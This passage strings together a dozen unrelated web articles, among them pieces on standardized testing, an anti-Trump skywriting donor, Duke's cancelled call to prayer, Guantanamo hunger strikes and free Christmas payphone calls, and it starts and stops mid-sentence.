alone could create a more fair, unbiased test than many experts with access to a lot of resources, a huge amount of diverse data, and the ability to refine tests based on those data. As stated in the ETS video, once a new question is introduced, statisticians work to figure out whether it’s performing equally well for different groups. Unfair, biased questions are certainly an important ongoing issue for the makers of standardized tests to address, but much work is going into the refinement and improvement of these questions, with the goal of avoiding and, hopefully, eventually eliminating such biases. All individuals have implicit biases that are almost impossible to override, so leaving assessment to individual instructors can only worsen the problem. The crux of the matter is trust – can we trust a board of experts that includes experienced teachers to act in our best interest as a nation of educators, parents, and children? And if the answer is no, then how can we trust individual teachers, and how would we hold them accountable? Tests don’t provide prompt feedback Here standardized tests have a lot of room for improvement. Feedback on standardized tests is tardy and often incredibly confusing, and doesn’t include information on which specific questions the student answered incorrectly. By the time it comes, the feedback is just a meaningless score. Although students can learn from tests even without feedback, it is clear that feedback increases the benefits of testing. Tests can be expected to improve on this front as they transition from paper to online, where rapid feedback is more viable on a large scale. Standardized tests were created to track students’ progress and evaluate schools and teachers. Griping abounds about how these tests are measuring the wrong thing and in the wrong way; but what’s conspicuously absent is any suggestion for how to better measure the effect of education — i.e., learning — on a large scale. In the absence of direct measures of learning, we resort to measures of performance. And the great thing is: measuring this learning actually causes it to grow. So let’s reclaim the word testing, so that the first word that comes to mind when we see it is “effect”. Yana Weinstein is an assistant professor in the Psychology department at the University of Massachusetts Lowell. Megan Smith is an assistant professor in the Psychology department at Rhode Island College. They are the co-founders of Learning Scientists (@AceThatTest on Twitter). -It turns out that the millionaire GOP establishment donor who bankrolled the anti-Donald Trump skywriting at the Rose Bowl parade on New Year’s Day isn’t just any ordinary donor-class millionaire. He’s backing Sen. Marco Rubio (R-FL), the man who is emerging as the anti-conservative establishment and donor-class candidate for president in 2016. According to the Center for Responsive Politics, Luther Stan Pate IV—an Alabama real estate developer worth millions—has donated thousands of dollars to Rubio’s electoral efforts. On Jan. 29, 2015, Pate donated $5,200 to Rubio—who, at the time, hadn’t yet officially launched a presidential campaign but was acting as if he were running for president. Just days earlier, ABC News’ Jonathan Karl reported exclusively that Rubio had hired Anna Rogers, then the finance director for Karl Rove’s American Crossroads, to lead “the effort to raise the $50 million or more he’ll need to run in the Republican primaries.” “He has told us to proceed as if he is running for president,” a senior Rubio adviser told ABC News for the piece, which ran on Jan. 23, 2015—six days before Pate’s donation to Rubio. A couple months later, Pate gave another $2,500 to Rubio, according to the Center for Responsible Politics. Later in the year, after Rubio launched his presidential campaign, the Rubio campaign returned $5,000 of the $7,700 total that Pate had donated to him. That is standard operating procedure because the Federal Election Commission (FEC) only allows donors to make a total of $2,700 to an individual presidential candidate. Pate is the man who set up, on Dec. 29, a new anti-Trump Political Action Committee. FEC filings show that Pate is listed as the Treasurer and Custodian of Records for the new group entitled the “WeThePeople Foundation.” That organization wrote messages like “America is great. Trump is disgusting” and “Anybody but Trump” and “Iowans dump Trump” in the sky at the Rose Bowl with at least five skywriting planes on Friday. Skywriting is a fairly expensive endeavor, and doing so with five planes makes it even more expensive. The skywriting also directed viewers to the Rubio campaign-donor Pate’s new PAC website, http://anybodybuttrump.us/, a crudely designed site that viscerally attacks the 2016 GOP frontrunner. The website allows visitors to donate to the Rubio campaign-donor Pate’s new PAC, to buy anti-Trump items from the organization’s online store, and to display various videos and anti-Trump materials. Pate is an eccentric establishment GOP figure who’s been associated with behavior similar to this before. Lagniappe, a weekly newspaper in Mobile, Alabama—Pate is based in Tuscaloosa—devoted an August 2007 cover story to Pate’s sharp-elbowed political tactics. “In mid-2005, Pate sought $16 million in public funds for a real estate development, a shopping center to be named Midtown. The Tuscaloosa City Council declined [to grant] the aid with Council President Jerry Plott and Councilman Kip Tyner being the most vocal opponents,” said the article, which was also picked up by various local bloggers. It wasn’t Pate’s first difficulty with the councilmen and he was frustrated. “He [Pate] fought us tooth-and-nail to get that money,” Plott said. “But I didn’t think public dollars should be spent on a private business. He began a public crusade to try to destroy me.” Pate apparently conceived a Web site aimed at fomenting discord against Plott. Amidst the many charges of corruption on www.theplottthickens.com, a dormant discussion board asks for feedback on the councilman and a line on the site declares, “I am Stan Pate and I approve this message,” then gives a Northport post office box address. Pate admits to having founded the site and claims good reason for such. “I filed an ethics complaint that is a matter of public record against Mr. Plott,” Pate said, “and I made it very clear in multiple ads and in the newspaper and in Tuscaloosa and on various publications that I feel like Mr. Plott’s dealings while he was on the city council were unethical and corrupt.” At this time, Rubio’s team is not disavowing the efforts his donor Pate has taken against Trump. Alex Conant, Rubio’s communications director, has not responded to a request for comment when presented with evidence that the Rubio campaign’s donors are behind this attack on Trump. While Trump has battled with pretty much everyone in the entire GOP field in 2016, he’s crushed a few candidates: former Florida Gov. Jeb Bush, Ohio Gov. John Kasich and Sen. Rand Paul (R-KY) are among those still running. And outgoing Louisiana Gov. Bobby Jindal, former Texas Gov. Rick Perry, Sen. Lindsey Graham (R-SC), former New York Gov. George Pataki and Wisconsin Gov. Scott Walker are among those not running anymore. But there are a few candidates that Trump is treating carefully. Rubio is one of them. Trump has been very critical of Rubio’s pro-amnesty positions on immigration, his work on trade, and Rubio’s horrendous attendance record when it comes to votes and national security briefings in the U.S. Senate. But he hasn’t gone as aggressively after Rubio as he has gone after, say, Bush. Rubio is the last remaining establishment-backed candidate who’s got a clear shot at the nomination. Bush and Kasich and New Jersey Gov. Chris Christie all could bounce back, but each of them is struggling and Rubio is the only non-conservative in the top-tier of polling along with Trump, Sen. Ted Cruz (R-TX) and Dr. Ben Carson. That means Rubio presents basically the only threat to conservatives’ chances in 2016—and now that Rubio’s team is coming after Trump this aggressively, with the skywriting above the Rose Bowl in Pasadena, Rubio may have just inadvertently wandered into the bear’s den. -A MELBOURNE woman has been reunited with her dog 10 years after it went missing. Latte disappeared from Anne Quach’s Reservoir home in 2004, sparking a fruitless search. “I bought Latte and her brother Cappuccino in 2003, and a year later Latte went missing from our yard,’’ Ms Quach said. “We’re not sure if she was stolen or snuck out, but I was devastated and Cappuccino whined for weeks afterwards.” At the time, Ms Quach put up posters in the hope someone would recognise the much-loved pooch, but she eventually gave up hope of being reunited. Until now, when she turned up at the City of Whittlesea Pound in Epping where a microchip scan revealed the identity of her owner. Latte was unkempt and slightly malnourished, but otherwise OK. Ms Quach said Latte didn’t recognise her or respond to her name, but she was settling in well. “Cappuccino is very happy and my son Vin, who was only a month old when she went missing, loves his new friend,’’ she said. Whittlesea Council animal management team leader Rod Thickins said Ms Quach’s story was a timely reminder to microchip pets. “Microchipping our cats and dogs has led to many happy reunions at the pound. Latte’s case is extraordinary — 10 years is definitely our council record,’’ he said. -With NES Classic Edition Discontinued, Hyperkin's Retron HD Could Take Its Place With NES Classic Edition Discontinued, Hyperkin's Retron HD Could Take Its Place Share. Doing what Nintendoesn't. Doing what Nintendoesn't. Hyperkin wants to pick up where NES Classic Edition left off with the Retron HD, a new console that plays 8-bit classics from Nintendo's home system. The Retron HD works with original NES cartridges — from both NTSC and PAL regions — displaying them at 720p on screen. The console comes with a controller with a 10-foot cord and HD cable, plus a micro USB charge cable. Meet the Retron HD 6 IMAGES Fullscreen Image Artboard 3 Copy Artboard 3 ESC 01 OF 06 Hyperkin's Retron HD plays NES cartridges at 720p. 01 OF 06 Hyperkin's Retron HD plays NES cartridges at 720p. Meet the Retron HD Download Image Captions ESC Announced earlier this month, the Retron HD looks like an attempt to build off the success of Nintendo's mini console. The Big N discontinued the NES Classic Edition in April, with a company representative at the time stating that the system "wasn’t intended to be an ongoing, long-term product." Now this isn't the first time Hyperkin has released an HD console that plays NES cartridges. The Retron 5 actually supported 10 different systems, such as SNES, Genesis and Game Boy Advance. The Retron HD will release May 25 for $40/£50 in gray and black. Exit Theatre Mode Evan Campbell is a freelance writer who scripts the Daily Fix, streams games on his Twitch channel, and chats about movies and TV series on Twitter. -NEW YORK (PAI) – With sights set on the November 2014 elections, Graphic Communications Conference and International Brotherhood of Teamsters leaders are pledging to work tirelessly for pro-labor candidates and assure there is no repeat of the disastrous midterm contests of 2010. What they aim for is to prevent a repeat of the mid-term results four years ago. That’s when, analysts say, a Tea Party-fueled backlash against Democratic President Barack Obama and his signature Affordable Healthcare law ousted 63 Democrats from the U.S. House and six from the Senate. The GOP momentum spread to states like Wisconsin, where right winger Scott Walker was elected governor and, with Republican state legislative colleagues, quickly enacted legislation that stripped basic bargaining rights from public employees. GCC/IBT leaders vow not to be caught flatfooted this time around. “We let down our guard in 2010,” said union President George Tedeschi. “It won’t happen again.” Other union leaders voiced similar sentiments. “I would tell people that labor should reward its friends and punish its enemies,” said Frank Golden, business representative and organizer for District Council 4 in the Chicago area, quoting American Federation of Labor founder Samuel Gompers. “I use that as a stepping stone and tell these people, because we got a little time to go, and just throw that straight at them as a reminder.” It’s a general rule of politics that midterm election results are largely determined by a president’s job approval rating. If the chief executive is well-regarded, voters are apt to favor his party. A president with low public opinion scores can be a detriment. “Using the president’s approval rating, even in a midterm election, is useful because, for better or worse, a president is the face of his party,” wrote Charlie Cook, editor of The Cook Political Report and one of the nation’s leading political analysts. “Although voters rarely reward a party for having a popular president, they are quick to register their displeasure with a chief executive by voting against the candidates of that party in a midterm election.” That’s especially true in a president’s second mid-term. In 2006, GOP President George W. Bush was struggling and Republicans lost 30 House seats, six Senate seats and majorities in both houses of Congress. Polls show history may repeat itself. That’s because Obama also has lost ground recently. By mid-June, an average of 49 percent of those surveyed, in dozens of polls compiled by Real Clear Politics, said they disapproved of the president’s performance. Obama’s slide was tied to several embarrassing episodes — Internal Revenue Service agents allegedly hounding tea party-affiliated groups, secret collection of data from Associated Press reporters, and the National Security Agency’s surveillance of phone calls and overseas Internet use. Next year, all 435 seats in the GOP-dominated U.S. House are up for election in the president’s second mid-term. And 33 Senate seats, a majority of them Democratic-held, will be contested. Overall, Democrats hold 52 Senate seats, Republicans hold 45, and independents, two. Sen. Frank Lautenberg, D-N.J., who died in June, held the other. GOP Gov. Chris Christie appointed a Republican to replace Lautenberg until a special October election, upping the GOP’s Senate total, temporarily, to 46. There will be 36 statehouse battles in November 2014, with most in GOP hands. Among the most closely watched will be the gubernatorial race in Wisconsin, where Walker is running for re-election. The GOP governor beat back a recall election in 2012 despite efforts by organized labor to oust him after Walker pushed legislation virtually killing collective bargaining for most of the Badger State’s 200,000 public workers. Similar pieces of legislation also were proposed in Ohio and Michigan, now a right-to-work state. Golden said that Democrats must be held accountable, too. “There’s a lot of Democrats out there who made a lot of promises that they haven’t really been stepping up on either,” he said. The fights over worker rights, in both the states and over the NLRB, show the stakes are high in 2014 even though midterm elections lack the fanfare – and turnout – of presidential contests. “We need to find and support the candidates that serve our members interests,” said Ronnie Pineda, president of GCC Local 140-N in Los Angeles. “In the last 10 years we’ve gotten people elected and they’ve betrayed us. I for one am a big believer in education. We need to educate ourselves completely with every one of the candidates and any other new laws that may be on the ballot.” Jack Noone, president of Local 241-M in Scranton, Pa., said union leaders must help members – and their families – stay focused. “Right off the bat we have to try to educate people so they understand what the really important issues are, and not be distracted by these scandals,” he said, adding some of Obama’s performance must be attributed to the Republicans’ willful obstruction of his efforts. “We have to try and get them involved and help them understand the issues,” Noone said. “We have to get people on board.” Zachary Dowdy writes for the Graphics Communicator. Photo: Unions found it necessary to occupy the Capitol in Madison Wisconsin after Scott Walker, who was swept into office in the last mid-term tea party wave, attacked the collective bargaining rights of workers. Blake Deppe/PW -Duke University's decision to scrap plans to allow the Muslim call to prayer to emanate from its chapel bell tower raises controversy on campus. (Reuters) Duke University canceled plans Thursday to begin a weekly Muslim call to prayer from the campus chapel this week, an initiative that had set off debate on social media. A school spokesman and a Duke Muslim leader said that a serious and credible security threat played a role in the decision. The university had announced that Muslim students would chant the ‘adhan,’ the call to a weekly prayer service, from the Duke University Chapel bell tower each Friday. The sound of the call to prayer in Muslim communities is a standard part of ritual life on Muslims’ main prayer day. Theologically, it reminds Muslims “to worship God and serves as a reminder to serve our brothers and sisters in humanity,” Imam Adeel Zeb, Muslim chaplain at Duke, said in a news release. But reaction to the story off campus was swift. Some celebrated the decision. I support the #DukeCalltoPrayer. Because religious inclusivity is more important than xenophobia. — Erin Howett (@EHowett) January 15, 2015 But many strongly opposed it. Franklin Graham, president of Samaritan’s Purse and the Billy Graham Evangelistic Association, called on donors and alumni to withhold support from Duke until the policy was reversed. The hashtag #boycottduke spread quickly, and many of the reactions on Twitter referred to recent terrorist attacks, and interpreted it as an anti-Christian move. Graham posted strong words about it on his Facebook page: “As Christianity is being excluded from the public square and followers of Islam are raping, butchering, and beheading Christians, Jews, and anyone who doesn’t submit to their Sharia Islamic law, Duke is promoting this in the name of religious pluralism. I call on the donors and alumni to withhold their support from Duke until this policy is reversed.” Immediate growing backlash momentum – people to #BoycottDuke – attend #AmericanFlashmob on Duke Campus starting 12:30 on Fri with #airhorns — Rolliby (@rolliby) January 15, 2015 Muslim call to prayer to begin at Duke University. But Jesus isnt welcome @DukeU #boycottDuke — Shannon Catoe (@shannoncatoe) January 14, 2015 Franklin later praised the reversal. I am glad to hear that @DukeU reversed its decision to allow Muslim call to prayer from its chapel bell tower. They made the right decision! — Franklin Graham (@Franklin_Graham) January 15, 2015 In discussing the change Thursday, Duke officials said the response to the decision was not what the university had expected. “Duke remains committed to fostering an inclusive, tolerant and welcoming campus for all of its students,” said Michael Schoenfeld, vice president for public affairs and government relations, in a news release. “However, it was clear that what was conceived as an effort to unify was not having the intended effect.” Schoenfeld said Thursday night that a “serious and credible” security threat was one of the reasons for the decision. University officials declined to elaborate. Omid Safi, director of Duke’s Islamic Studies Center, said Thursday evening that the call to prayer was scaled back because of “a number of credible threats against Muslim students, faculty and staff.” The school, he said “is treating this as a criminal matter” and that the threats are “external.” Muslim students, Safi said, have been advised not to speak and be identified, “and are scared and disappointed.” Asked if he personally had been threatened, he said he had been advised by officials to say “a number of credible threats have been made.” On Friday, he said, there would still be a new addition to the weekly service: A call to prayer, but it would be from the steps of the chapel instead of amplified from the tower. The initial decision to have a call, he said, came last semester upon the urging of the Office of Religious Life – the overall chaplains’ office with clergy from various faiths – and Muslim students, together. He said Duke is considered a leader in Islamic studies and hospitable for Muslims. More than 100 people show up each Friday for prayer, he said. “We had hoped for a symbolic action that would shine a light on how a leading international university in the American South can be a place where the symbol of the Christian heritage of the university is demonstrating hospitality to its Muslim community members. And instead we’re having to talk about crazy people,” Safi said. When the idea of holding the call from the tower was pitched, he said, no one thought it would be a problem. He blamed “geography” and Duke’s proximity to influential evangelical leader Franklin Graham, son of Billy Graham. “Duke has been committed to Islamic studies for decades,” he said. The university has held the weekly jummah prayers in the basement of Duke Chapel for many years, starting with the traditional chanted call to prayer. More than 700 of the 15,000 students at Duke identify as Muslim, according to school officials. Duke today is non-sectarian but has historic and symbolic ties with The United Methodist Church. Its bylaws were recast last year to say its purposes are grounded in the Christian tradition of intellectual inquiry and service to the world. Sapp described the chapel as “a church.” On Wednesday, a Duke dean of religious life published an essay in the News & Observer touting the decision to hold the call, a common sound in Muslim communities around the world. “This opportunity represents a larger commitment to religious pluralism that is at the heart of Duke’s mission and connects the university to national trends in religious accommodation,” wrote Christy Lohr Sapp, associate dean for religious life at Duke University. In her essay, Sapp noted that “there is much negative press” today touching Muslims, “from ISIS to Boko Haram to al-Qaida.” The call, she wrote, would be the antithesis, and “might help students feel more at home in a world marred by weekly acts of violence and daily discriminations. Perhaps, too, this small token of welcome will provide a platform for a truer voice to resonate: a voice that challenges media stereotypes of Muslims, a voice of wisdom, a voice prayer and a voice of peace.” Now Muslim students and others on campus wishing to take part in the prayer will meet on the quadrangle outside the Chapel before gathering in the Chapel for prayers. “Our Muslim community enriches the university in countless ways,” Schoenfeld said. “We welcome the active expression of their faith tradition, and all others, in ways that are meaningful and visible.” President Obama said Friday that United States' "one big advantage" against terrorism was the feeling of belonging that American Muslims have to the country. He said some Muslims in European countries did not have these same national ties. (AP) This story has been updated. -“Hi, it’s me.” For Australians living in isolation and doing it tough this Christmas, making that phone call may be the first step they take to reconnect with friends and loved ones. But in a world of smart phones and the nbn™, being connected is something a lot of us take for granted. It’s easy to forget that there are many Australians who don’t have the technology or financial means to access a phone line, or a way to connect with their loved ones at Christmas. For some of these community members, not being able to come together with family, friends and loved ones at Christmas time only heightens feelings of loneliness, personal hardship and isolation. To help those separated by distance or circumstance to get in touch with one another this festive season, we are again opening up our national payphone network and providing free local, national and standard mobile calls from Telstra payphones around Australia from December 24-26. We will also be offering free Telstra Air® Wi-Fi access from selected public hotspots. We’re really pleased to be working alongside our long term partner, The Salvation Army, to help spread the word about our offer. Their mission is to bring hope to those facing personal hardships, such as homelessness, all year, every year, and especially at Christmas. “With many vulnerable people suffering from feelings of social isolation, a free phone call removes financial barriers and gives everyone – regardless of their personal circumstance – the chance to make a positive emotional connection,” said Major Brendan Nottle, The Salvation Army. As a company with connection at its heart, we want to play a genuine role in connecting people at Christmas and all year round through the technology and experiences we provide. Our ability to open up our network gives all Australians the opportunity to pick up the phone and call their friends, families and loved ones at a time of year when social connection is really important. Last year, 170,000 calls were made from our payphone network across the same period, with our data revealing NSW residents and visitors to be the biggest payphone users overall. Over the three days, nearly 31,000 unique connections were made via our free Telstra Air Wi-Fi access, at sites across the country. Swanston Street and Bourke Street sites in Melbourne’s CBD received the greatest number of users. Collective data usage across all Telstra Air Wi-Fi hotspots also reached 5.6 TB over the course of the campaign, with sites in Southport, Currumbin and Surfers Paradise in Queensland the top locations. Nothing beats the sound of hearing a loved one’s voice, especially at a time like Christmas when a focus on families coming together is really heightened. It’s an important opportunity for those in the community who might be feeling isolated at this time, and we hope that even more Australians take up the opportunity to connect with their loved ones this year. Australians will be able to call anyone in Australia across Christmas Eve, Christmas Day and Boxing Day free of charge from any of the 16,000 Telstra branded payphones around the country. Things you need to know: Free calls around Australia to local, national and standard mobiles from Telstra payphones from 24-26 December 2018. Free calls exclude international calls and premium services (19x), Mobile Satellite, and 1234, 12456 directory services. Excludes Telstra rented payphones. Free Wi-Fi data at select Telstra Air payphones and Telstra Stores, in Australia only. Telstra Air available for Wi-Fi enabled devices only. -2013 05 20 Joint Letter to Sec Hagel (PII Redacted) (PDF)
2013 05 20 Joint Letter to Sec Hagel (PII Redacted) (Text) Military attorneys representing former CIA captives detained in a top secret camp at Guantanamo have called on Secretary of Defense Chuck Hagel to examine whether the head of the prison’s guard force is fit for command. Col. John Bogdan, the commander of Guantanamo’s Joint Detention Group, has been singled out by the defense lawyers for revamping dormant policies, such as inspections of Qurans and genital patdowns, that gave rise to a hunger strike, now entering its fourth month. “Although we represent so-called ‘high value detainees, many of our concerns relate to the treatment of all prisoners, to include men whose internment appears to be indefinite” states a 13-page letter and signed by nineteen attorneys, including several who represent self-professed 9/11 mastermind Khalid Sheikh Mohammed and Abd al Rahim al Nashiri, the alleged architect behind the USS Cole bombing, sent to Hagel on Monday. “There has been a serious degradation in the quality of life for detainees in Guantanamo Bay over the past year. This change appears to have coincided with the arrival of the new Joint Detention Group Commander, Col. John V. Bogdan.” Army Captain Jason Wright, who is defending Mohammed before a military tribunal and also represents an Afghan prisoner named Obaidullah, one of the hunger strikers, told Al Jazeera the letter was prompted by “years of inaction by the US government.” “Sadly, no none has been watching Guantanamo, much less responding to repeated concerns of uniformed service members about what is really happening down there,” Wright says. “It is important to highlight that this is a peaceful, political protest by the majority of the men in Camps five and six who have been cleared for release and who are otherwise innocent until proven guilty by a competent court of law. It is shameful that [Joint Task Force-Guantanamo, which operates the prison] has responded to the hunger strike, not only by forcibly feeding [prisoners] in violation of international law, but by punishing them and placing them in conditions tantamount to solitary confinement. America is better than this.” Inspecting Qurans The letter was sent to Hagel three days before President Obama is due to give a major speech about his counterterrorism policies, which will include a discussion about Guantanamo. Bogdan became the warden of the prison last June. Three months after he settled in, a Yemeni prisoner named Adnan Farhan Abdul Latif was found unconscious in his cell and was pronounced dead at the detention hospital. An autopsy report concluded that Latif committed suicide by ingesting mass quantities of anti-psychotic medication. However, his death is still under investigation. Following Latif’s death, according to the accounts several prisoners’ communicated to their attorneys, Bogdan ordered a shakedown of their cells and guards confiscated personal items, which included pictures, legal papers, eyeglasses and isomats. In January, an Afghan Taliban prisoner was shot in the throat in the recreation yard with a non-lethal round for allegedly trying to climb a fence. In early February, the prisoners’ Qurans were inspected for contraband. The handling of the holy books immediately led to the hunger strike. Prisoners have told their attorneys since they launched their protest they have been physically abused by guards, subjected to sleep deprivation and forced cell extractions, denied potable water and have had the temperature in their prison cells turned down to freezing cold temperatures. In mid-April, on Bogdan’s orders, guards staged a pre-dawn raid at the communal camp and isolated all of the prisoners into single cells in what was seen by attorneys and human rights groups as an attempt to break the hunger strike. If that was the hope it had the opposite effect as the number of prisoners who joined the protest doubled. "Death...is imminent" The military has vehemently denied the allegations. But the attorneys said in their letter if steps are not immediately taken to improve the quality of life for the prisoners, “Death - whether by suicide, starvation, organ failure, or associated complications - is imminent.” Along with their letter, the attorneys also sent Hagel an August 2011 report prepared for the United Nations General Assembly by the UN’s special rapporteur for torture, which said solitary confinement rose to the level of inhumane and degrading treatment. US Military attorneys say detainees are not being treated humanely [Jason Leopold/Al Jazeera] Reached for comment late Monday, Army Lt. Col. Todd Breasseale, a Pentagon spokesman, told Al Jazeera, "The Department does not discuss correspondence addressed to the Secretary, in the press.” The attorneys’ letter said in addition to the inhumane living conditions hunger-striking prisoners residing in the two main prison camps - 5 and 6 - have been living under, 14 high-value detainees residing in Camp seven, a classified facility, are also not being treated humanely, an issue the attorneys raised with the Pentagon in a dozen previous letters that have gone unanswered. They have called for Hagel to immediately authorize an independent monitoring committee to investigate conditions of confinement at Guantanamo. “You could change the course and the consequences of the hunger strike right now Secretary Hagel by taking ownership of these issued during the political stalemate” between President Obama and Congress over how to shutter the prison, the letter says. “At stake, as you know, is not just the inalienable right to human dignity - to be treated like a human being - but America’s standing in the world.” Separately, the attorneys, citing a law school investigation, said Bogdan may have perjured himself when he testified before the military commissions earlier this year in Mohammed’s case about secret listening devices designed to look like smoke detectors that were placed in the rooms where attorneys meet with prisoners, but were never turned on. The investigation by Seton Hall University’s Center for Policy and Research concluded that Bogdan’s testimony was inconsistent about what he knew and when he knew it. The Seton Hall report was co-written by former Guantanamo guard Joseph Hickman. “While Seton Hall’s finding are sufficient grounds to examine COL Bogdan’s fitness to command the Joint Detention Group, his leadership should warrant further scrutiny based on the rapidly deteriorating conditions under his command and his heavy-handed response to the current hunger strike,” the attorneys wrote. Follow Jason Leopold on Twitter: @JasonLeopold -It’s not hard to see how, in a Japanese-dominated society, pop art might have extended its global popularity with no Campbell’s Soup cans in sight. Illustration: Chloe Cushman Pop art without Andy Warhol? Iconic cartoon mice repping the underground comic scene? These are the possibilities in a world where Japan defeated the United States in 1945. Here’s an alternate look at art history, reimagining movements, tropes and trends that could have evolved much differently had the Allies lost the second world war. J-pop … art? One of the most influential postwar creative movements, pop art elevated advertising and mechanical reproduction to the level of fine art. Combining splashy, intense colors with recognizable, everyday subjects, the style forced viewers to reconsider the sophisticated techniques underlying seemingly mundane comic books, magazine advertisements and other objects. Given Japan’s rich ad and comic culture, it’s not surprising the country developed a pop art style of its own. Before 1945, the popularity of propaganda kimonos hinted at the movement. Since the end of the war, the style has flourished as artists like Yayoi Kusama, who inspired Andy Warhol, used advertising’s bright colors, while others like Lady Aiko and Mr have adopted comic imagery. It’s not hard to see how, in a Japanese-dominated society, pop art might have extended its global popularity with no Campbell’s Soup cans in sight. Facebook Twitter Pinterest In a Japan-dominated postwar world, American cartoonists probably would have been repressed and manga characters reaching US shores likely would have looked more realistically Japanese. Illustration: Chloe Cushman Manga: underground no more Contemporary manga is a hybrid of Japanese and American comic art, says Stephen Salel, the Honolulu Museum of Art’s Robert F Lange Foundation curator of Japanese art. Many manga elements, like characters’ large eyes and exaggerated expressions, owe their origin to US cartoon pioneers like Walt Disney. In a Japan-dominated postwar world, American cartoonists probably would have been repressed, particularly those who contributed to wartime propaganda. Manga reaching US shores likely would have looked more realistically Japanese. And, Salel points out, as the preferred style of the victors, manga probably wouldn’t have conveyed the underground chic that’s made it so popular among US comic aficionados today. Imagine outlaw teens and proud geeks in a different world: would they have clustered around smuggled copies of Donald Duck and Mickey Mouse? Facebook Twitter Pinterest Rōnin did find fertile ground in postwar American western films, but in an alternate timeline we might have seen an Old West rōnin carrying a sword alongside his six-shooter, fighting a cattle-rustling gang headed by the yakuza. Illustration: Chloe Cushman Rōnin characters roam the big screen The rōnin, or “wave man”, the masterless samurai forever cut off from mainstream society, is a powerful Japanese icon. Freed of traditional hierarchies, he wanders from place to place, using his skills to survive – and, in some tales, to protect the innocent and punish the wicked. Sound familiar? Rōnin did find fertile ground in postwar American culture, particularly in westerns, with characters ranging from the squeaky-clean Lone Ranger to Clint Eastwood’s grim “man with no name”. Sometimes the rōnin-gunslinger relationship is explicit: The Magnificent Seven was a western remake of Akira Kurosawa’s The Seven Samurai, and the 1971 movie Red Sun united veterans of both movies in a unique “samurai western”. If Japanese aesthetics had dominated postwar Hollywood, we might have seen an Old West rōnin carrying a sword alongside his six-shooter, fighting a cattle-rustling gang headed by the yakuza. Facebook Twitter Pinterest Can you imagine a postwar Ivy League alum cooling down after a tennis match wearing a yukata? Illustration: Chloe Cushman East meets East Coast: the new preppy In the late 1800s, Japan began adopting Western clothing; by the 1940s, it was the standard wardrobe for daily life. But if Japan had won the war, it seems likely that many of its traditional textiles and designs would have filtered into Americans’ style. Can you see a postwar Ivy League alum cooling down after a tennis match wearing a Japanese robe called a yukata? Or a CEO’s suit lined with flashy, kimono-inspired fabric? It’s not that hard to imagine, since similar looks have made it into American stores in the real world. Japanese retailer Uniqlo, renowned for its preppy clothes, also carries yukatas and Japanese-patterned shorts in its lineup. And Harajuku style, which merges American design and theatrical Japanese aesthetic, shows how the east Asian nation’s culture has impacted western clothing today. Facebook Twitter Pinterest California wines might have had fanciful names written in the most elegant kanji, hiragana and katakana. Translations: Mako Ishikawa. Illustration: Chloe Cushman Typography takes a turn In the 1900s, increased industrialization and the rising cult of efficiency in the west signaled the end of flowery, Spencer-style penmanship. The efficient Palmer method streamlined handwriting, while the widespread adoption of the typewriter in the late 1800s and early 1900s accelerating the process. In Japan, on the other hand, pictographic kanji and the syllabic writing systems of hiragana and katakana had thousands of characters, which slowed the progress of one writing machine: the first Japanese typewriter had 2,400 keys. Emojis before the smiling poop: New York museum acquires world's first set Read more While it’s hard to picture a postwar Japanese occupation forcing Americans to adopt Japanese “alphabets”, it’s probable that signs and other public messages would have been printed in Japanese in certain regions, especially California. And this would likely have bled out into mainstream American writing, with Asian-inspired fonts and advertisements gaining popularity. “Brush-written calligraphy on elongated formats such as poetry cards [tanzaku] and hanging scrolls might have regained far more popularity than it currently enjoys,” Salel says. As for pictographic writing, it’s not hard to see how it could have slowly worked its way into common usage – not unlike the emoji, which originated on Japanese cellphones in the 1990s and has since traversed the world. This content is paid for by Amazon Prime Video -previously on MeFi: 1 - 2 - 3 also previously: Brené Brown on shame & vulnerability (one, two) One: No good role modelsTwo: Can you be ‘bad’ and yet still – overall – good?Three: It will hurt you too much to hear thisFour: No one can understand me Effectively communicating your feelings : "I know that it can be hard to talk about your feelings. We’re not taught to do it, and we’re certainly not taught that it’s an important thing to learn. But it’s definitely a skill worth practicing. Because you’re worth being heard. I promise." Effective Communication - Improving your Social Skills "People aren’t born with good communication skills; like any other skill, they are learned through trial and error and repeated practice."BakadesuyoSucceed Socially Some Common Conversation Mistakes and Core Listening Skills How Self-Awareness Leads to Effective Communication : "Our previous experiences, believes, values, assumptions, judgments and bias influence the quality of our listening. Whenever we listen to something, we evaluate what we are hearing and this in turn triggers our emotional reactions and our judgment. If we hear something that contradicts our values or our interests, we tend to react, by becoming defensive; our ability to be effective listeners is hostage of our own filters." Are You a Poor Communicator? How to Improve : "...communicating with others can be a difficult and frustrating experience. There are times when we mean well, but because of the way we say what we say, our message is misunderstood, with unintended and undesirable consequences."Raptitude -An LGBT pride march in Scotland has banned “cis” drag queens from marching out of the fear that it could offend transgender people. Free Pride Glasgow is scheduled to take place in August, and bills itself as an alternative to the city’s main Pride event, which has allegedly become too commercialized. “It was felt by the group within the Trans/Non Binary Caucus that some drag performance, particularly cis drag, hinges on the social view of gender and making it into a joke, however transgender individuals do not feel as though their gender identity is a joke,” organizers said in a statement. According to the statement announcing the policy, some transsexuals found drag performances offensive because it “hinges on the social view of gender and making it into a joke.” Initially, the policy was also going to ban transsexual drag queens, on the grounds that it would be inappropriate to ask individual queens whether they identified as transgender or not. But then that policy offended the transgender drag queens, who complained, leading to a new policy where trans drag queens are welcome but wicked cis queens are banned (“Cisgender” means a person who identifies with their actual, physical sex). Free Pride Glasgow justified its decision in a Monday Facebook post, saying they were deliberately choosing to desires of transgender women more than others. “Our event aims to represent those underrepresented in our community, including but not limited to trans and non-binary people, women, People of colour, intersex people, asexual people and people with disabilities,” the post said. “As such we have decided to prioritise the needs of trans women to feel safe and included in our event.” The decision earned a rebuke from the main Glasgow Pride event. “Pride Glasgow believes that any community group should be given their place to flourish but that success should not be built on the negativity and ignorance towards other events, groups and like minded people and we are saddened to see that this is the direction that Free Pride has chosen to take.” Opposition to drag queens is surprisingly common, at least on the British left. Earlier this year, the National Union of Students officially condemned drag and cross-dressing as forms of “fancy dress.” “Transphobic fancy dress should be met with the same disdain with which we meet other prejudiced or appropriative costumes,” the group said at the time. Follow Blake on Twitter Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@ dailycallernewsfoundation.org. Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org. -Labor is a hot topic in Paris. (Loic Venance/AFP via Getty Images) The French government recently faced huge protests against unpopular changes to the country's labor law. Most of its critics would argue that French workers increasingly face burnout and exhaustion. But one employee has had far different problems: He sued his former company because his job was allegedly extremely boring. The 